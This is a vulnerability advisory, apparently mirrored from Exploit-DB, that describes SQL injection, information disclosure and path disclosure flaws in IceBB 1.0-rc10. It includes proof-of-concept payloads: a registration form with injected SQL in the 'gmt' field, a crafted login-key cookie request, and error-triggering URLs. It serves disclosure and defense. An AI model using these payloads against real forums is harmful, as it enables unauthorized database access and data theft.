SQL Injection & Information Disclosure in IceBB

vendor:

IceBB

by:

High-Tech Bridge SA - Ethical Hacking & Penetration Testing

7,5

CVSS

HIGH

SQL Injection & Information Disclosure

CWE

Product Name: IceBB

Affected Version From: 1.0-rc10

Affected Version To: 1.0-rc10

Patch Exists: NO

Related CWE: N/A

CPE: a:xaos_interactive:icebb

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

SQL Injection & Information Disclosure in IceBB

The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "gmt" and "icebb_login_key" variables. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database. Information Disclosure vulnerability exists due to failure in the "/index.php" and "/admin/index.php" scripts to properly sanitize user-supplied input in "icebb_login_key" variable from cookie, it's possible to generate an sql query error that will reveal the database tables prefix.

Mitigation:

Input validation should be used to prevent SQL injection attacks. The application should also use parameterized queries to prevent SQL injection attacks.

Source

Exploit-DB raw data:

Vulnerability ID: HTB22688
Reference: http://www.htbridge.ch/advisory/sql_injection_in_icebb.html
Product: IceBB
Vendor: XAOS Interactive ( http://icebb.net/ ) 
Vulnerable Version: 1.0-rc10
Vendor Notification: 02 November 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

SQL Injection:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "gmt" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


<form action="http://[host]/index.php" method="post" >
<input type="hidden" name="act" value="login" />
<input type="hidden" name="func" value="Register" />
<input type="hidden" name="terms" value="1" />
<input type="hidden" name="user" value="pentest" />
<input type="hidden" name="pass" value="pentest" />
<input type="hidden" name="pass2" value="pentest" />
<input type="hidden" name="email" value="pentest@htbridge.ch" />
<input type="hidden" name="captcha_code" value="[captcha_code]" />
<input type="hidden" name="captcha_word" value="[captcha_word]" />
<input type="hidden" name="gmt" value="'SQL_CODE_HERE" />
<input type="submit" value="Register" name="submit" />
</form>

Information Disclosure:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "icebb_login_key" variable from cookie, it's possible to generate an sql query error that will reveal the database tables prefix.


GET /index.php HTTP/1.0
Cookie: icebb_user=1; icebb_pass=2; icebb_uid=3; icebb_login_key=123\;

Information Disclosure:
The vulnerability exists due to failure in the "/index.php" and "/admin/index.php" scripts to properly sanitize user-supplied input in "s" variable, it's possible to generate an sql query error that will reveal the database tables prefix.


http://[host]/index.php?act=login&func=captcha&s=\
http://[host]/admin/index.php?s=123%27

Path Disclosure:
The vulnerability exists in the "/modules/make_image.php" script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.


http://[host]/modules/make_image.php